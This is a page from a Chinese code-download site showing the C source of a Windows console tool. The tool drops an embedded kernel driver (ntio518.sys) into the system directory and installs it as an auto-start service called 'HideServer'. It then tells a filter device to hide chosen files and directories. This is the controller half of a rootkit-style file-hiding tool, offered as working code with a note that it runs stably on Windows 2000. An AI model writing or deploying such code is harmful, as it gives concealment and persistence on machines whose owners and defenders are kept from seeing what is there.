⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.c

📁 在win2000sp4 + VM6基本稳定。 原理不多说了
💻 C
字号:
#include <stdio.h>
#include <windows.h>
#include "getopt.h"
#include "..\DeviceControl.h"
#include "resource.h"

VOID ReleaseSys();
VOID DelSvr(const char *szSvrName);
BOOL StartSvr(const char *szSvrName);

VOID AddHideObj(const char *lpName, ULONG Flag);
VOID RemoveHideObj(const char *lpName, ULONG Flag);

const char *SYS_FILE_NAME = "\\ntio518.sys";

typedef struct _CMD_ARG
{
	char	cmd;
	char	arg[256];
	char	argF;
}CMDARG, *PCMDARG;

int main(int argc, char *argv[])
{
	int c;
	int digit_optind = 0;
	const char serverName[] = "HideServer";
	CMDARG cmd;

	ReleaseSys();
	//处理命令行参数命令
	while (1)
    {
		int this_option_optind = optind ? optind : 1;
		c = getopt (argc, argv, "hiufda:r:");
		if (c == -1)
			break;

		switch (c)
        {
        case 'h':
			printf ("\n-i install		the hide server\
					 \n-u uninstall		the hide server\
					 \n-a add			add a file or directory to server\
					 \n-r remove		remove item from hide server\
					 \n-f file\
					 \n-d directory");
			return 0;
			
        case 'i':
			StartSvr(serverName);
			return 0;

        case 'u':
			DelSvr(serverName);
			return 0;

        case 'a':
		case 'r':
			cmd.cmd = c;
			strcpy(cmd.arg, optarg);
			break;

        case 'd':
		case 'f':
			cmd.argF = c;
			break;
        default:
			printf ("?? getopt returned character code 0%o ??\n", c);
        }
    }
	//excute this cmd
	if ('a' == cmd.cmd)
	{
		AddHideObj(cmd.arg, ('f' == cmd.argF)?CDO_FLAG_FILE:CDO_FLAG_DIRECTORY);
	}
	return 0;
}

/*
 *	释放驱动到系统目录
 */
VOID ReleaseSys()
{
	//加载资源文件
	HRSRC res = FindResource(NULL, MAKEINTRESOURCE(IDR_BINARY), "Binary");
	HGLOBAL gl = LoadResource(NULL,res);
	LPVOID lpBuffer = LockResource(gl);   //  查找,加载,锁定资源
	//文件操作
	char sysDir[256];
	HANDLE hFile = NULL;
	DWORD dwSize = SizeofResource(NULL, res);
	DWORD dwWSize = 0;
	//得到目标路径
	GetSystemDirectory(sysDir, sizeof(sysDir));
	strcat(sysDir, SYS_FILE_NAME);
	//写入系统目录
	//HANDLE fp;
	hFile = CreateFile(sysDir,
						GENERIC_WRITE,
						FILE_SHARE_READ,
						NULL,
						CREATE_NEW, //创建新文件,如目标文件已存在则调用失败
						0, 
						NULL);
	if (INVALID_HANDLE_VALUE == hFile)
	{
		//Failed !
		//ERROR_FILE_EXISTS
		if (ERROR_FILE_EXISTS == GetLastError())
		{
			return;
		}
		else
		{
			printf("failed to write test.sys, %d\n", GetLastError());
		}
	}
	else if (WriteFile (hFile, lpBuffer, dwSize, &dwWSize, NULL))
	{
		printf("free Bytes %d test.sys to %s\n", dwSize, sysDir);
	}
	CloseHandle (hFile);       //关闭句柄
}

/*
 *	添加一个隐藏对象到驱动
 */
VOID AddHideObj(const char *lpName, ULONG Flag)
{
	CHAR DevicePath[] = "\\\\.\\SFilter";
	DWORD	junk;							// discard results
	WCHAR	inBuffer[256];
	HANDLE hDevice;

	ZeroMemory(inBuffer, sizeof(inBuffer));
	MultiByteToWideChar(CP_ACP, 0, lpName, strlen(lpName), inBuffer, sizeof(inBuffer));

	hDevice = CreateFile(DevicePath,
						0,
						FILE_SHARE_READ | FILE_SHARE_WRITE,
						NULL,
						OPEN_EXISTING,
						0,
						NULL);
	
	if (INVALID_HANDLE_VALUE == hDevice)
	{
		printf("%s Device Failed Error Code:[%08x]\n", DevicePath, GetLastError());
		return;
	}
	if (CDO_FLAG_FILE & Flag)
	{
		if(!DeviceIoControl(hDevice, CDO_ADD_FILE, 
							inBuffer, sizeof(inBuffer), 
							NULL, 0, 
							&junk, NULL))
		{
			printf("DeviceIoControl Error Code:[%08x]\n", GetLastError());
		}
		else
		{
			printf("CDO_ADD_FILE %ws\n", inBuffer);
		}
	}
	
	if (CDO_FLAG_DIRECTORY & Flag)
	{
		if(!DeviceIoControl(hDevice, CDO_ADD_DIRECTORY, 
							inBuffer, sizeof(inBuffer), 
							NULL, 0, 
							&junk, NULL))
		{
			printf("DeviceIoControl Error Code:[%08x]\n", GetLastError());
		}
		else
		{
			printf("CDO_ADD_DIRECTORY %ws\n", inBuffer);
		}
	}
}

/*
 *	删除一个指定的隐藏对象
 */
VOID RemoveHideObj(const char *lpName, ULONG Flag)
{

}
/*
*	卸载驱动程序和服务
*/
VOID DelSvr(const char * szSvrName)
{
	SC_HANDLE hServiceMgr, hServiceTwdm; 
	SERVICE_STATUS SvrSta;

	hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); 
	if(NULL == hServiceMgr) 
	{ 
		printf( "DelSvr::OpenSCManager() Faild %d ! \n", GetLastError() ); 
		return; 
	} 
	else 
	{ 
		printf( "DelSvr::OpenSCManager() ok ! \n" ); 
	}
	hServiceTwdm = OpenService( hServiceMgr, TEXT(szSvrName), SERVICE_ALL_ACCESS ); 
	
	if( hServiceTwdm == NULL ) 
	{ 
		CloseServiceHandle( hServiceMgr ); 
		printf( "DelSvr::OpenService() Faild %d ! \n", GetLastError() ); 
		return; 
	} 
	else 
	{ 
		printf( "DelSvr::OpenService() ok ! \n" ); 
	} 
	//停止驱动程序,如果停止失败,只有重新启动才能,再动态加载。 
	if( !ControlService(hServiceTwdm, SERVICE_CONTROL_STOP , &SvrSta)) 
	{ 
		printf( "DelSvr::ControlService() Faild %d !\n", GetLastError() ); 
	} 
	else 
	{ 
		printf( "DelSvr::ControlService() ok !\n" ); 
	}
	//动态卸载驱动程序。 
	if(!DeleteService(hServiceTwdm)) 
	{ 
		printf("DelSvr::DeleteSrevice() Faild %d !\n", GetLastError()); 
	} 
	else 
	{ 
		printf("DelSvr::DeleteSrevice() ok !\n"); 
	} 
	CloseServiceHandle(hServiceTwdm); 
	CloseServiceHandle(hServiceMgr); 
	return;
}

/*
*	开始驱动服务
*/
BOOL StartSvr(const char * szSvrName)
{
	SC_HANDLE m_sManager;
	SC_HANDLE m_sService;
	CHAR DriverName[256];
	
	//GetCurrentDirectory(sizeof(DriverName), DriverName);		//取当前目录
	GetSystemDirectory(DriverName, sizeof(DriverName));
	strcat(DriverName, SYS_FILE_NAME);							//取驱动程序的全路径 
	printf("%s\n", DriverName);
	
	m_sManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (!m_sManager)
	{
		printf("OpenSCManager Failed!\n");
		return FALSE;
	}
	m_sService = CreateService(
		m_sManager,
		szSvrName,
		szSvrName,
		SERVICE_ALL_ACCESS,
		SERVICE_KERNEL_DRIVER,
		SERVICE_AUTO_START,
		SERVICE_ERROR_NORMAL,
		DriverName,
		NULL, NULL, NULL, NULL, NULL);

	if ((ERROR_SERVICE_EXISTS != GetLastError()) &&
		(NULL == m_sService))
	{
		printf("CreateService Failed!\n");
		CloseServiceHandle(m_sService);
		CloseServiceHandle(m_sManager);
		return FALSE;
	}
	m_sService = OpenService(m_sManager, szSvrName, SERVICE_ALL_ACCESS);   
	if (NULL == m_sService)
	{
		printf("OpenService Failed!\n");
		CloseServiceHandle(m_sService);
		CloseServiceHandle(m_sManager);
		return FALSE;
	}
	//Ready For Start Service
	if (!StartService(m_sService, 0, NULL) &&
		(ERROR_SERVICE_ALREADY_RUNNING != GetLastError()))
	{
		//ERROR_PATH_NOT_FOUND
		printf("StartService Failed Errcode:%08x!\n", GetLastError());
		CloseServiceHandle(m_sService);
		CloseServiceHandle(m_sManager);
		return FALSE;
	}
	printf("This is Hide sys Console\n");
	CloseServiceHandle(m_sService);
	CloseServiceHandle(m_sManager);
	return TRUE;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -